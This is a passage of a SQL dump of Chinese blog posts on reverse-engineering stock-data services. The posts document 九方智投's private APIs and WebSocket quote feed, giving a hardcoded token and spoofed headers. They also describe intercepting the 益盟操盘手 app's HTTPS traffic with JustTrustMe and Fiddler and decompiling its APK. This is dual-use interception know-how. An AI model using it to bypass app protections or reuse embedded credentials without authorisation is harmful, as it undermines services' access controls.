），因为按照目前上面提到的方式，已经确保了每次请求的数据总量不会超过单次请求的最大数据量，所以`has_more`应该不会为`true`的<del>，除非哪天 A 股上市超过 5000 家了，不过到时候 tushare 接口的单次请求权限应该也会超过 5000 吧（逃）。</del>', 0, 43, '', 1, 0, '2023-12-21 01:45:15', '2023-12-21 01:47:03');
INSERT INTO `tb_post` VALUES (206, 223, 1, 2, 0, '九方智投', NULL, 2, '', '', '', 0, 4, '123456', 1, 0, '2023-12-26 21:42:24', '2024-01-16 17:04:13');
INSERT INTO `tb_post` VALUES (207, 206, 0, 3, 0, '九方智投异动监控分析', NULL, 2, '', '', '> 本文记录九方智投异动监控相关信息分析，包括异动类型、格式、字段类型等。\n\n## 异动采集\n\n异动采集分为两种方式，初次载入页面时的`JSON 获取`，和实时更新所用的 `MQTT 获取`。\n\n### JSON 采集\n\nPOST 如下的接口获取当日历史异动：\n\n```\nhttps://api-hq.chongnengjihua.com/watching/api/1/list/stock/abnormal\n```\n详情请打开网页分析，或阅读`AbnormalCollector`的源码。\n\n默认参数是倒序查询，即较新的记录在前，较旧的记录在后；每页 20 条记录。若做循环抓取，可以根据判断当前请求的内容条目数来判断。若当前请求结果条目数为空或小于分页查询记录数（如默认参数 20 条）时则可认为查询结束。\n\n以下是一个简单的 JSON 当日异动采集器的代码：\n\n{{ :crawler:finance:9fzt:abnormalcollector-program.cs |}}\n\n### MQTT 采集\n\n#### 采集方式\n主要是获取当日实时刷新的异动数据。\\\\\\\\ 九方智投网站采用`MQTT.js`，通过`Websocket`发起 MQTT 连接，订阅`stock-watching-a-stock-abnormal`频道以获取实时异动信息。故本质还是`Websocket`。\n\n#### 上行数据格式\n\n为字节数组。碰到字符串的，按照 UTF8 编码解析。\n\n#### 下行数据格式\n\n为字节数组。前 5~36 字节为订阅类型，此处应等于`stock-watching-a-stock-abnormal`。\\\\\\\\ 第 37 字节起为 UTF8 字节编码的字符串，解码后为 JSON 格式。\n\n#### messageId\n\n订阅过程中，需要提供范围为`1-65535`的`messageId`，以及长度为 8 位的十六进制小写字符串`clientId`。对于超过 65535 的 messageId，从 1 开始重新计数。\n\n其他详情请打开网页分析，或阅读`MqttWebSocket.cs`的源码。\n\n## 思路记录\n\n### 板块筛选\n\n比起去 tushare 抓记录，逐个分析，如果用异动精灵，来对大单流入明显的板块做记录的话，应该会方便很多。\n\n## 异动类型和相关代码\n|类型名称|代码|类型名称|代码|\n|-------|----|-------|----|\n|旭日初升|1|残阳入海|2|\n|主力逢低吸筹|3|主力逢高出货|4|\n|主力顺势追买|5|主力顺势出逃|6|\n|封涨停板|7|封跌停板|8|\n|打开涨停|9|打开跌停|10|\n|60日新高|21|60日新低|22|\n|大笔买入|37|大笔卖出|38|\n|单笔冲涨|39|单笔冲跌|40|\n|加速拉升|41|加速下跌|42|\n|高位回落|43|低位反弹|44|\n|撑杆跳高|45|平台跳水|46|\n|区间放量(涨)|47|区间放量(跌)|48|\n|区间放量(平)|49|大幅上涨|50|\n|大幅下跌|51|-|-|\n\n共 27 种异动。除`区间放量`有涨跌平三种情况外，每个异动类型均有多空两种情况。\n\n## 异动字段\n### market\n  - String，所属市场，仅有 `sz` 和 `sh` 两种类型；\n  - 所有异动类型均包含该字段。\n### symbol\n  - String，股票纯六位数代码；\n  - 所有异动类型均\n包含该字段。\n### name\n  - String，股票名称；\n  - 所有异动类型均包含该字段。\n### category\n  - String，异动分类，仅有 `public` 和 `original` 两种类型；\n  - `original`：异动代码为 1-6 的异动类型，应该为九方智投原创类型；\n  - `public`：除 `original`外的类型；\n  - 所有异动类型均包含该字段。\n### typeCode\n  - String，异动代码。参考上表；\n  - 所有异动类型均包含该字段。\n### typeName\n  - String，异动名称。参考上表；\n  - 所有异动类型均包含该字段。\n### typeDirection\n  - String，异动方向，仅有 `up`、`down` 和 `flat`，分别对应涨跌平。其中 `flat` 仅存在于 `区间放量（平）`类型中；\n  - 所有异动类型均包含该字段。\n### direction\n  - String，股价方向，仅有 `up`、`down` 和 `flat`，分别对应涨跌平；\n  - 仅和股价涨跌幅有关，分别对应涨幅大于 0、小于 0 和等于 0，**与异动方向无关**；\n  - 所有异动类型均包含该字段。\n### priceSnapshot\n  - Float，股价；\n  - 所有异动类型均包含该字段。\n### pxChangeRateSnapshot\n  - Float，涨跌幅；\n  - 所有异动类型均包含该字段。\n### lastPx\n  - Float，对应 quoteTime 的价格；\n  - 所有异动类型均包含该字段。\n### pxChangeRate\n  - Float，上个价格对应的涨跌幅；\n  - 所有异动类型均包含该字段。\n### businessAmount\n  - Integer，大单手数；\n  - 仅`大笔买入`和`大笔卖出`包含该字段。\n### min3NetMainInCurr\n  - Float，三分钟内主力净流入，可为负数；\n  - 仅异动代码为 1-6 的异动类型，即`category`为`original`的九方智投原创类型包含该字段。\n### multipleAmount\n  - Integer，区间放量倍数；\n  - 仅`区间放量（涨跌平）`三种异动类型包含该字段。\n### displayData\n  - String，显示数据，指根据不同异动类型，显示的不同数据，有涨跌幅、股价、大笔手数等；\n  - 所有异动类型均包含该字段。\n### alarmTime\n  - Timestamp(ms)，异动报警时间；\n  - 所有异动类型均包含该字段。\n### quoteTime\n  - Timestamp(ms)，异动引用时间；\n  - 所有异动类型均包含该字段；\n  - 至于为何引用对应时间，待确定。\n### sector\n  - Object/null，该标的所属板块；\n  - 所有异动类型均包含该字段，但 B 股的该字段的值为 null；\n  - 分字段如下：\n    + symbol：九方智投板块代码；\n    + name：九方智投板块名称；\n    + lastPx：上个价格；\n    + pxChangeRate：上个价格对应的涨跌幅；\n    + market：所属市场；\n    + typeCode：板块类型代码。\n  - 其中各个分字段从何而来仍待确定。', 0, 13, '', 1, 0, '2023-12-26 21:46:12', '2023-12-26 21:46:12');
INSERT INTO `tb_post` VALUES (208, 206, 1, 3, 0, '九方智投实时行情', NULL, 2, '', '', '提供 A 股 5 档实时行情。\n\n## 数据获取\n本质还是`WebSocket`。\n\n### 数据格式\n发送信息有两种，一种带`ReqID`，用以给消息做请求计数器；一种不带。无论是哪种，格式都是`JSON`。\n\n### 发起连接\n```csharp\nusing WebSocketSharp;\n\nWebSocket WebSocket = new(\"wss://qas.sylapp.cn/quote\")\n{\n    Origin = \"https://stock.9fzt.com\",\n    Extensions = \"permessage-deflate; client_max_window_bits\",\n    UserAgent = \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0\"\n};\n```\n### 发送起始登录信息\n```csharp\n// 不带 ReqID\nSend(new {\n    OrgCode = \"rh\",\n    Token = \"e9252a64-6ac8-4bf8-9725-6f106f682908\",\n    AppName = \"htzpc\",\n    AppVer = \"v1.0.0\",\n    AppType = \"pc\",\n    Tag = \"af91c60a-1acc-4150-9014-d11086cb9489\",\n});\n```\n### 发送订阅信息\n```csharp\n// 带 ReqID\nSendWithReq(new\n{\n    Inst = inst,       // 股票六位数代码\n    Market = market,   // \"SH\" 或 \"SZ\"\n    SubType = subType, // \"SUBON\" 或 \"SUBOFF\"\n    ServiceType = serviceType, // 见“ServiceType”源码\n});\n```\n### 心跳\n每隔 30 秒一次心跳\n```csharp\nnew Thread(() =>\n{\n    while (WebSocket.IsAlive)\n    {\n        Thread.Sleep(30000);\n        Send(new\n        {\n            ServiceType = ServiceType.Ping\n        });\n    }\n})\n{\n    IsBackground = true\n}.Start();\n```\n\n## 数据示例\n\n### STATIC 静态信息\n\n> 静态信息（基本信息）\n\n```javascript\n{\n    \"Market\": \"SZ\",\n    \"Inst\": \"000017\",\n    \"ServiceType\": \"STATIC\",\n    \"SubType\": \"SUBON\",\n    \"ReqID\": 9,\n    \"QuoteData\": {\n        \"StaticData\": [{\n            \"ExchangeID\": \"sz\",\n            \"ExchangeName\": \"深圳证券交易所\",\n            \"InstrumentID\": \"000017\",\n            \"InstrumentName\": \"深中华A\",\n            \"Tradetime\": {\n                \"Timezone\": 8,\n                \"Pre\": 0,\n                \"Duration\": [930, 1130, 1300, 1500],\n                \"Tail\": 0\n            },\n            \"PriceMoneyType\": 0,\n            \"WeightType\": 0,\n            \"TradingUnit\": 0,\n            \"MinPriceChange\": 0,\n            \"MaxPriceLimitPerc\": 0,\n            \"MinNumSingleForm\": 0,\n            \"MaxNumSingleForm\": 0,\n            \"MinTradingUnit\": 100,        // 最小交易单位（股）\n            \"MaxTradingUnit\": 1000000,    // 最大交易单位（股）\n            \"TradingMargin\": 0,\n            \"DeliveryDate\": 0,\n            \"TradingFeeExtremelyRatio\": 0,\n            \"DeliveryFee\": 0,\n            \"MarginPerc\": 0,\n            \"FetishPaymentPerc\": 0,\n            \"DelayPaymentExtremelyRatio\": 0,\n            \"DelayPaymentCalcStyle\": 0,\n            \"MinDeliveryApplyNum\": 0,\n            \"PriceDecimalBitNum\": 2,    // 小数位\n            \"MinDeliveryUnit\": 0,\n            \"CodeType\": 6,\n            \"CodeSecondType\": 102,\n            \"IsCrdBuyUnderlying\": 0,\n            \"IsCrdSellUnderlying\": 0,\n            \"SecurityType\": \"1\",\n            \"TransactionsMultiplier\": 100\n        }]\n    }\n}\n```\n\n\n\n### STATISTICS 统计信息\n\n> 统计信息\n\n```json\n{\n    \"Market\": \"SZ\",\n    \"Inst\": \"000017\",\n    \"ServiceType\": \"STATISTICS\",\n    \"SubType\": \"SUBON\",\n    \"ReqID\": 4,\n    \"QuoteData\": {\n        \"StatisticsData\": [{\n            \"TradingDay\": 1656000000, // 交易日\n            \"PreClosePrice\": 6.04,    // 昨收\n            \"OpenPrice\": 5.8,         // 今开\n            \"UpperLimitPrice\": 6.64,  // 涨停价\n            \"LowerLimitPrice\": 5.44,  // 跌停价\n            \"ExchangeID\": \"sz\",       // 市场\n            \"InstrumentID\": \"000017\"  // 代码\n        }]\n    }\n}\n```\n\n### DYNA 盘口动态信息\n\n> 盘口实时动态信息\n\n```json\n{\n    \"Market\": \"SZ\",\n    \"Inst\": \"000017\",\n    \"ServiceType\": \"DYNA\",\n    \"SubType\": \"SUBON\",\n    \"ReqID\": 5,\n    \"QuoteData\": {\n        \"DynaData\": [{\n            \"TradingDay\": 1656000000,\n            \"Time\": 1656056100,\n            \"HighestPrice\": 6.63,\n            \"LowestPrice\": 5.65,\n            \"LastPrice\": 5.75,\n            \"Volume\": 109691479,\n            \"Amount\": 672563452.18,\n            \"TickCount\": 0,\n            \"BuyPrice\": [5.75, 5.74, 5.73, 5.72, 5.71],\n            \"BuyVolume\": [262100, 16500, 4300, 12300, 152300],\n            \"SellPrice\": [5.76, 5.77, 5.78, 5.79, 5.8],\n            \"SellVolume\": [438800, 9300, 30200, 11400, 57000],\n            \"AveragePrice\": 6.131410190758754,\n            \"Wk52High\": 6.63,\n            \"Wk52Low\": 5.65,\n            \"PERatio\": -876.7371948775473,\n            \"OrderDirection\": 1,\n            \"BidPrice\": 5.75,\n            \"AskPrice\": 5.76,\n            \"TurnoverRate\": 0.3620407751762447,\n            \"SA\": 0.16225165562913899,\n            \"LimitUp\": 6.64,\n            \"LimitDown\": 5.44,\n            \"CirStock\": 30298.1008, // 流通股（万股）\n            \"TotStock\": 55134.7947, // 总股本（万股）\n            \"CirVal\": 1742140796,    // 流通值（元）\n            \"TotVal\": 3170250695.25,// 总市值（元）\n            \"NAV\": 395.5620007319617,\n            \"Ratio\": 1.6156265612554144,\n            \"Committee\": -0.09977871655602494,\n            \"PES\": -1595.7427657336577,\n            \"WP\": 50905830,\n            \"NP\": 58785649,\n            \"LastTradeVol\": 2230300,\n            \"YearUpDown\": 0.6106442577030813,\n            \"KindsUpdown\": {\n                \"FiveMinsUpdown\": -0.018771331058020535,\n                \"ThreeMinsUpdown\": 0,\n                \"OneMinsUpdown\": 0,\n                \"MinUpdown2\": 0,\n                \"MinUpdown4\": 0\n            },\n            \"Updown\": -0.048013245033112585,\n            \"NextDayPreClosePrice\": 5.75,\n            \"ExchangeID\": \"sz\",\n            \"InstrumentID\": \"000017\",\n            \"TTM\": -1173.4693877551022\n        }]\n    }\n}\n```\n\n### TICK 分时成交\n\n> 分时成交\n\n```json\n{\n    \"Market\": \"SH\",\n    \"Inst\": \"601007\",\n    \"ServiceType\": \"TICK\",\n    \"SubType\": \"SUBON\",\n    \"ReqID\": 6,\n    \"QuoteData\": { // 一共 30 条\n        \"TickData\": [{\n            \"TradingDay\": 1656518400, // 交易日\n            \"ID\": 2472,     // Tick 序号\n            \"Time\": 1656572136,    // 分时时间\n            \"Price\": 11.17,    // 价格\n            \"Volume\": 2500, // 成交量\n            \"Property\": 1, // 1 是主卖，2 是主买\n            \"virtual\": 0\n        }, \n        ......, {\n            \"TradingDay\": 1656518400,\n            \"ID\": 2501,\n            \"Time\": 1656572404,\n            \"Price\": 11.18,\n            \"Volume\": 279350,\n            \"Property\": 1,\n            \"virtual\": 0\n        }]\n    }\n}\n```', 0, 2, '', 1, 0, '2023-12-26 22:15:31', '2023-12-26 22:15:31');
INSERT INTO `tb_post` VALUES (209, 223, 2, 2, 0, '益盟操盘手', NULL, 2, '', '', '', 3, 1, '', 1, 0, '2023-12-26 22:24:34', '2023-12-26 22:24:34');
INSERT INTO `tb_post` VALUES (210, 209, 0, 3, 0, '益盟操盘手 APP 抓包初探', NULL, 2, '', '', '## 准备工作\n老规矩，上抓包三件套：雷电模拟器 3、Fiddler、Proxifier。\n\n雷电模拟器安装 XPosed 框架，安装 JustTrustMe，安装 Fiddler 证书，网络；Proxifier 代理`ld*.exe`转发至 Fiddler；Fiddler 开启 HTTPS 解析，Connections 处开启“Allow remote computers to connect”。\n\n注意：\n\n- 如果出现“益盟操盘手已终止运行”，重启雷电模拟器 3 后再试。可能需要重启多次，都是正常的。\n- 有时候好像也不需要 Proxifier，只需要雷电模拟器 3 和 Fiddler 即可。如果出现模拟器内益盟操盘手无法请求，或 Fiddler 无法捕获数据，或 Proxifier 内提示 LdVBoxHeadless.exe 连接到代理服务器 x.x.x.x(8888) Failed 的情况，请退出 Proxifier 直接尝试。\n\nFiddler 开启 Filters，只抓`*.emoney.cn`的包。除登录验证外，其他数据可以只关注`mbs.emoney.cn`的数据包。一般而言该接口采用 protobuf-v3 (pb) 协议，但也有 X-Protocol-Id 为 2100 的采用 json 数据包来传输协议。\n\n随机找一个请求，譬如 Header 内显示 X-Protocol-Id 为 2422 的请求，查看响应（SyntaxView）：\n\n![emoney-fiddler-resp-syntax.png](\\upload\\2023\\12\\20231227_143826567_hQU1ozZk7NfF.png \"emoney-fiddler-resp-syntax.png\")\n\n可以看到 Syntax 内容中有 CandleStickNewWithIndexEx_Response 字样。在左侧列表对应请求内：\n\n**右键 > Save > Response > Response Body…**\n\n将请求**返回**主体保存为 Response.bin。其他 protocol id 的请求/响应如法炮制。\n\n使用十六进制编辑器打开导出的主体，选择从 0 开始，到 CandleStickNewWithIndexEx_Response 字样往后 5 个字节，并删除选定内容，另存为 Response-noheader.bin：\n\n![2422-response.png](\\upload\\2023\\12\\20231227_143848035_KViLQkasHL44.png \"2422-response.png\")\n\n为什么要这样删？其实这里用了一个小 trick：拿 request 和 response 作对比：\n\n![request-response-compare.png](\\upload\\2023\\12\\20231227_143907636_kQsB7woW94vr.png \"request-response-compare.png\")\n\n还好 pb 是类 TLV 格式的，可以直接删，我当时也不知道为啥脑子抽了这样做，好在能成功解析。实际上解析要看整个 response，因为它一定是个完整的 pb 的 message。具体请参照 [Response 结构分析](#Response%20结构分析)。\n\n## 环境\n由于采用了 pb，需要关注具体的数据结构，需要搭建相应解析环境。此处选用 protobuf-javanano 进行辅助分析。新建 maven 项目，引入如下的两个包：\n\n```xml\n<dependency>\n    <groupId>com.google.protobuf.nano</groupId>\n    <artifactId>protobuf-javanano</artifactId>\n    <version>3.1.0</version>\n</dependency>\n<dependency>\n    <groupId>com.alibaba.fastjson2</groupId>\n    <artifactId>fastjson2</artifactId>\n    <version>2.0.29</version>\n</dependency>\n```\n\n把益盟 APK 上传到 [Decompiler.com](https://www.decompiler.com) 进行在线解析，而后下载 zip 档通过 7z 解压。在 sources/nano 文件夹下找到如下的几个文件：\n\n- CandleSticNewResponse.java\n- CandleStickNewWithIndexExResponse.java\n- CandleStickNewWithIndexResponse.java\n- CandleStickRequest.java\n- CandleStickWithIndexRequest.java\n- IndexCalcNewExResponse.java\n- IndexCalcNewResponse.java\n- IndexCalcRequest.java\n\n在 src/main/java 下新建 nano 包，将上面的文件直接复制到项目的 nano 包下。\n\n## 快速试探\n在 test/main/java 下新建 CandleStickNewWithIndexExResponseTest 类，代码如下：\n\n```java\npackage test;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport com.alibaba.fastjson2.JSONObject;\nimport com.alibaba.fastjson2.JSONWriter.Feature;\nimport static nano.CandleStickNewWithIndexExResponse.CandleStickNewWithIndexEx_Response;\n\npublic class CandleStickNewWithIndexExResponseTest {\n    public static void main(String args[]) {\n        String path = \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Emoney\\\\Response-noheader.bin\";\n        try {\n            FileInputStream in = new FileInputStream(new File(path));\n            byte[] data=new byte[in.available()];\n            in.read(data);\n            in.close();\n            \n            CandleStickNewWithIndexEx_Response candleStickNewWithIndexExRequest = CandleStickNewWithIndexEx_Response.parseFrom(data);\n            \n            JSONObject jo = JSONObject.from(candleStickNewWithIndexExRequest);\n            System.out.println(jo.toJSONString(Feature.PrettyFormat));\n            \n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n```\n\n运行该类，输出如下内容即为正常解析：\n\n![emoney-2422-response-decode.png](\\upload\\2023\\12\\20231227_143938893_L6kVHYlqUFm0.png \"emoney-2422-response-decode.png\")\n\n## Response 结构分析\n既然每个 pb 响应都带了其对应的类型，那猜测一定是有一个基本的响应类型作为一个大的 message，解析出类型后再根据反射来获取子 message。\n\n在 nano 文件夹下翻一下，找到 **BaseResponse.java**，查找对其的调用，发现 **cn.emoney.acg.util.Util** 下有`parsePbResponse`方法，猜测 **BaseResponse** 即为基本响应类型。按照上面的思路测试该类，需要注意这里引入了一个本不属于 protobuf-javanano 的 **Any** 类，我们自己新建相应包，把这个类复制进去。一切完成后，任意解析一个响应看看：\n\n\n没问题。那 value 字段就是 typeUrl 对应的类型的数据。\n\n通过反射来解析数据：\n\n```java\nimport java.io.File;\nimport java.io.FileInputStream;\nimport com.alibaba.fastjson2.JSONObject;\nimport com.alibaba.fastjson2.JSONWriter.Feature;\nimport com.google.protobuf.nano.MessageNano;\n\nimport lombok.extern.slf4j.Slf4j;\nimport static nano.BaseResponse.Base_Response;\n\n@Slf4j\npublic class BaseResponseTest {\n    \n    @SuppressWarnings(\"unchecked\")\n    public static <U extends MessageNano> void main(String args[]) {\n        String path = \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Emoney\\\\2422-different-span\\\\300684-2422-1m-resp-update\";\n        \n        try {\n            FileInputStream in = new FileInputStream(new File(path));\n            byte[] data=new byte[in.available()];\n            in.read(data);\n            in.close();\n            \n            Base_Response baseResponse = Base_Response.parseFrom(data);\n            \n            String className = baseResponse.detail.getTypeUrl().replace(\"type.googleapis.com/\", \"\");\n            className = \"nano.\" + className.replace(\"_\", \"\") + \"$\" + className;\n            \n            Class<U> clazz = (Class<U>)Class.forName(className);\n            \n            U nanoResponse = (U) MessageNano.mergeFrom((MessageNano)clazz.getDeclaredConstructor().newInstance(), baseResponse.detail.getValue());\n            \n            JSONObject jo = JSONObject.from(nanoResponse);\n            log.info(jo.toJSONString(Feature.PrettyFormat));\n            \n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n```', 0, 13, '', 1, 0, '2023-12-26 22:25:49', '2023-12-28 13:16:33');
INSERT INTO `tb_post` VALUES (211, 209, 1, 3, 0, '益盟操盘手存在的问题', NULL, 2, '', '', '## 数据缺失\n\n有一些较为久远的数据是缺失的，不只是指标数据，日 K 数据也是缺失的。另外，分钟线等其他非日线粒度的 K 线数据似乎更少。\n\n所以在用日线指标的时候，需要和 tushare 数据源的数据做数据对齐。\n\n## 数据错误\n\n一些股票停牌日，用益盟看的时候会有数据，实际上当日是停牌的，比如：济南高新（600807.SH）于 2017-05-23 实际上不应有数据，但益盟就是有。\n\n所以在用日线指标的时候，不能直接简单地根据索引来做遍历，遍历过程中需要选择可靠的数据源（如 tushare），时刻对日期进行比对检查，日期不一致的，要跳过非法数据。', 0, 5, '', 1, 0, '2023-11-17 17:08:00', '2023-12-27 17:05:22');
INSERT INTO `tb_post` VALUES (212, 209, 2, 3, 0, '使用 Fiddler 实时解释报文内容', NULL, 2, '', '', '## 引言\n\n每次使用 Fiddler 导出请求和返回的 body 再进行解析难免不方便，而 Fiddler 允许自定义 Inspector，故编写我们自己的 Inspector 就可以对对应的 emoney 的请求和返回进行解析。\n\n## 编写接口\n\n由于目前我们的报文解析器是通过 Java 实现的，而 Fiddler 的 Inspector 插件是用 C# 编写的，两者之间需要通过接口进行对接。此处选择的是 http 方式来传送数据，并实现解析返回。\n\n### 根据 ProtocolId 获取到类\n\n不同请求根据 Header 中的 X-Protocol-Id 字段，来区分对应请求报文属于哪一类。根据对益盟操盘手 APP 进行反编译，发现 ProtocolId 的释义存在于以下文件\n\n```\n\\cn\\emoney\\acg\\data\\protocol\\ProtocolIDs.java\n```\n\n对比 nano 包下的类的类名，和 ProtocolIDs 类中的变量名称的定义，发现有一定的相似性，大部分类可以通过变量名称以下划线分割后，对得到的每个子字符串转换为首字母大写、其余小写，再进行拼接得到`nano.**Request$**_Request`。以`INDEX_INFLOW`为例：\n\n```mermaid\ngraph TD\nA[INDEX_INFLOW]\nB[INDEX]\nC[INFLOW]\nD[Index]\nE[Inflow]\nF[IndexInflow]\nG[nano.IndexInflowRequest$IndexInflow_Request]\nA-->B-->D-->F\nA-->C-->E-->F\nF-->G\n```\n\n由于所有 Response 均继承于 *BaseResponse*，且其中包含了对应的类信息，故 Response 不需要额外指定，能直接获取对应类。而 Request 需要我们自己进行解析。根据上面的规则，我们可以编写如下的 enum:\n```java\npublic enum ProtocolID {\n    \n    DAILY_STRATEGY(9200),\n    MARKET_CHANGES(9901),\n    // MARKET_SITUATION(9000),\n    OPERATION_POOL(9500),\n    PRESELECTION_POOL(9600),\n    ...\n    \n    private ProtocolID(int protocolId) {\n        this.protocolId = protocolId;\n        String[] nameParts = this.name().toLowerCase().split(\"_\");\n        StringBuilder sb = new StringBuilder();\n        for(String namePart : nameParts) {\n            sb.append(firstToUpper(namePart));\n        }\n        // 构建前缀\n        requestClassPrefix = sb.toString();\n    }\n```\n\n小部分 Request 无法通过大写下划线转驼峰方式的，可以指定 Request 前缀：\n\n```java\nprivate ProtocolID(int protocolId, String requestClassPrefix) {\n    this.protocolId = protocolId;\n    this.requestClassPrefix = requestClassPrefix;\n}\n```\n\n其中可能有部分枚举代码重复，或没有对应的类，需要筛选注释或手动指定类名。\n\n### 接口参数\n\n以 Request 为例，接口只需接收 ProtocolId 和 protobuf 字节数组即可。而字节数组通过 http 传输前可先转为 Base64 字符串，待接口接收到再解析。新建如下的数据传输类，作为接口接收的 model：\n\n```java\npackage quant.rich.api.emoney.models;\n\nimport org.springframework.util.Base64Utils;\nimport lombok.Data;\nimport lombok.experimental.Accessors;\n\n@Data\n@Accessors(chain=true)\npublic class EmoneyProtobufBody {\n    \n    private Integer protocolId = null;\n    private String protocolBody = null;\n    \n    public byte[] protocolBodyToByte() {\n        if (protocolBody == null) {\n            return null;\n        }\n        return Base64Utils.decodeFromString(protocolBody);\n    }\n\n}\n```\n\n### 返回参数\n\n根据 protocolId 获取 ProtocolID 枚举，再通过枚举获取类名，而后通过反射获取到类，再调用 *MessageNano* 的相应方法解析，最终得到对应类的实例对象，通过 *JSONObject* 序列化后返回。参考返回结构如下：\n\n```java\npackage quant.rich.api.emoney.models;\n\nimport com.alibaba.fastjson2.JSONObject;\nimport lombok.Data;\nimport lombok.experimental.Accessors;\n\n@Data\n@Accessors(chain=true)\npublic class EmoneyConvertResult {\n\n    private Integer code;\n    private String msg;\n    private Integer protocolId;\n    private String protocolIdName;\n    private String className;\n    private JSONObject result;\n    \n    public static EmoneyConvertResult error(String msg) {\n        return new EmoneyConvertResult()\n                .setCode(-1)\n                .setMsg(msg)\n                .setResult(null);\n    }\n    \n    public static EmoneyConvertResult ok(JSONObject result) {\n        return new EmoneyConvertResult()\n                .setCode(0)\n                .setMsg(\"\")\n                .setResult(result);\n    }\n}\n```\n\n### 接口逻辑\n\n略。\n\n## Fiddler Inspector 插件编写\n\n### 参考\n\n[Fiddler 插件开发：数据解密](https://blog.csdn.net/Gdeer/article/details/102756017)\n[Github: Gdeeer/FiddlerDecryption: Fiddler 解密插件](https://github.com/Gdeeer/FiddlerDecryption)\n\n\n### 注意事项\n\n#### 包版本问题\n\n如果引入了 Flurl 包，其会一并引入 Newtonsoft.Json 包，而 Fiddler 本身自带 Newtonsoft.Json ，需要注意版本不要冲突。可以先把 Fiddler 自带的 Newtonsoft.Json.dll 拖到 ILSpy 里面看版本，再去 Nuget 管理里面筛选出使用同样 Newtonsoft.Json 版本的 Flurl。本文使用的版本为 Flurl.Http 2.4.1.\n\n项目的 .NET Framework 版本也会有影响。本文使用的版本为 4.6.2.\n\n编译完成后将主体 DLL 放在 Inspectors 目录下，其余 DLL 放在根目录下。\n\n可以指定附加调试 Fiddler。\n\n#### 清洗 PB 字段\n\n反编译自带的反序列化 PB 的程序自带`cachedSize`和`serializedSize`字段，影响观感，可以通过迭代来清洗：\n\n```csharp\n/// <summary>\n/// 清除返回 JObject 中 cachedSize 和 serializedSize 字段\n/// </summary>\n/// <param name=\"j\"></param>\n/// <returns></returns>\npublic static JToken ClearSizeInfo(JToken j)\n{\n    if (j == null) return null;\n    if (j is JArray ja) {\n        for (int i = 0; i < ja.Count; i++)\n        {\n            ja[i] = ClearSizeInfo(ja[i]);\n        }\n        return ja;\n    }\n    if (j is JObject jo)\n    {\n        jo.Remove(\"cachedSize\");\n        jo.Remove(\"serializedSize\");\n        foreach (var p in jo)\n        {\n            string key = p.Key;\n            JToken val = p.Value;\n            jo[key] = ClearSizeInfo(val);\n        }\n        return jo;\n    }\n    return j;\n}\n```\n\n### 最终效果\n\n增加了一个 JSON 高亮的控件，比起 Fiddler 自带的 JSONViewer 更美观方便。\n\n![emoneyfiddler_inspector_emoney.png](\\upload\\2023\\12\\20231228_131026629_sqsEHTEPMzVn.png \"emoneyfiddler_inspector_emoney.png\")', 0, 12, '', 1, 0, '2023-12-27 17:08:17', '2024-01-04 23:26:18');
INSERT INTO `tb_post` VALUES (213, 223, 3, 2, 1, '通达信', NULL, 2, '', '', '', 0, 15, '', 1, 0, '2023-12-28 13:50:43', '2023-12-28 13:50:43');
INSERT INTO `tb_post` VALUES (214, 213, 0, 3, 1, '通达信DLL', NULL, 2, '', '', '可以从 [通达信帮助中心-用户红宝书](https://help.tdx.com.cn/book.asp) 下载[通达信DLL函数编程规范.rar](https://www.tdx.com.cn/products/userdoc/通达信DLL函数编程规范.rar) 查看基本内容和框架。采用 VC++ 进行编写。\n\n## 接口规范\n\n实际上，就是导出了`RegisterTdxFunc`函数。通达信在载入 DLL 时，尝试调用这个函数，并将一个二维指针对象`PluginTCalcFuncInfo**`传入函数，获取指向绘图函数的数组。\n\n```cpp\nBOOL RegisterTdxFunc(PluginTCalcFuncInfo** pFun)\n{\n    if (*pFun == NULL)\n    {\n        (*pFun) = g_CalcFuncSets;\n        return TRUE;\n    }\n    return FALSE;\n}\n```\n\n其中`PluginTCalcFuncInfo`的结构：\n\n```cpp\ntypedef struct tagPluginTCalcFuncInfo\n{\n    unsigned short    nFuncMark;//函数编号\n    pPluginFUNC       pCallFunc;//函数地址\n}PluginTCalcFuncInfo;\n```\n\n`pPluginFUNC`是函数指针：\n\n```cpp\n// 函数(数据个数,输出,输入a,输入b,输入c)\ntypedef void(*pPluginFUNC)(int, float*, float*, float*, float*);\n```\n\n\n`g_CalcFuncSets`初始化时：\n\n```cpp\nPluginTCalcFuncInfo g_CalcFuncSets[] =\n{\n    {1, (pPluginFUNC)&TestPlugin1},\n    {2, (pPluginFUNC)&TestPlugin2},\n    {0, NULL},\n};\n```\n\n`TestPlugin1` 和 `TestPlugin2`：\n\n```cpp\nvoid TestPlugin1(int DataLen, float* pfOUT, float* pfINa, float* pfINb, float* pfINc)\n{\n    for (int i = 0; i < DataLen; i++)\n        pfOUT[i] = i;\n}\n\nvoid TestPlugin2(int DataLen, float* pfOUT, float* pfINa, float* pfINb, float* pfINc)\n{\n    for (int i = 0; i < DataLen; i++)\n    {\n        pfOUT[i] = pfINa[i] + pfINb[i] + pfINc[i];\n        pfOUT[i] = pfOUT[i] / 3;\n    }\n}\n```\n\n## 注意事项\n\n根据`pPluginFUNC`的定义，固定了输入序列有三个：\n\n```cpp\n// 函数(数据个数,输出,输入a,输入b,输入c)\ntypedef void(*pPluginFUNC)(int, float*, float*, float*, float*);\n```\n\n在编辑通达信公式并调用时：\n\n```lua\nXX:TDXDLL1(1, H, L, C);\n{1 - 第一号公式，即在 g_CalcFuncSets 中序号为 1 的公式}\n{剩余的 H, L, C 是固定的三个输入参数，对应输入a，输入b，输入c}\n```\n\n可以看到，通达信 DLL 公式函数，最多支持三个输入序列（或常数），哪怕你用不到这几个参数，也要给。关于如何给函数调用更多公式，详见[通达信 DLL 指标多参数解决方法](/n/multiple-args)。\n', 0, 39, '', 1, 0, '2023-12-28 13:50:59', '2023-12-28 14:32:02');
